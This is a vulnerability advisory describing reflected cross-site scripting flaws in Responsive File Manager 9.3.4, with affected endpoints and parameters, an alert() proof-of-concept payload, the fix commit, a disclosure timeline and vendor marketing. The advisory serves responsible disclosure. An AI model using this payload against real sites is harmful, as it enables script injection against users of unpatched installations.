XSS Vulnerabilities in Responsive File Manager

Information

Advisory by Netsparker (now Invicti)
Name: XSS Vulnerabilities in Responsive File Manager v9.3.4
Software: Responsive File Manager v9.3.4 and possibly below.
Vendor Homepage: http://www.responsivefilemanager.com/
Vulnerability Type: Cross-site Scripting
Severity: Critical
Researcher: Omar Kurt
Advisory Reference: NS-14-017

Description

Responsive FileManager is a free open-source file manager made with the jQuery library, CSS3, PHP and HTML5 that offers a nice and elegant way to upload and insert files, images and videos.

Details

Responsive File Manager is affected by XSS vulnerabilities in version 9.3.4.
Example PoC URLs are as follows:

  • Cross-site Scripting
    http://example.com/filemanager/uploader/success.php – (GET : params : path)
    "--></style></scRipt><scRipt>alert(0x0012C9)</scRipt>

    http://example.com/filemanager/dialog.php – (GET : params : field_id, type, lang)

You can read the full article about Cross-site Scripting vulnerabilities from here:

Solution

https://github.com/trippo/ResponsiveFilemanager/commit/1875662a864c1c96ab9671c7d96c1600aae142d3

Advisory Timeline

11/03/2014 – First Contact
14/03/2014 – Vendor fixed vulnerability
23/04/2014 – Advisory Released

Credits

It has been discovered on testing of Invicti Web Application Security Scanner.

About Invicti

Invicti® can find and report security issues such as SQL Injection and Cross-site Scripting (XSS) in all web applications regardless of the platform and the technology they are built on. Invicti’s unique detection and exploitation techniques allows it to be dead accurate in reporting hence it’s the first and the only False Positive Free web application security scanner.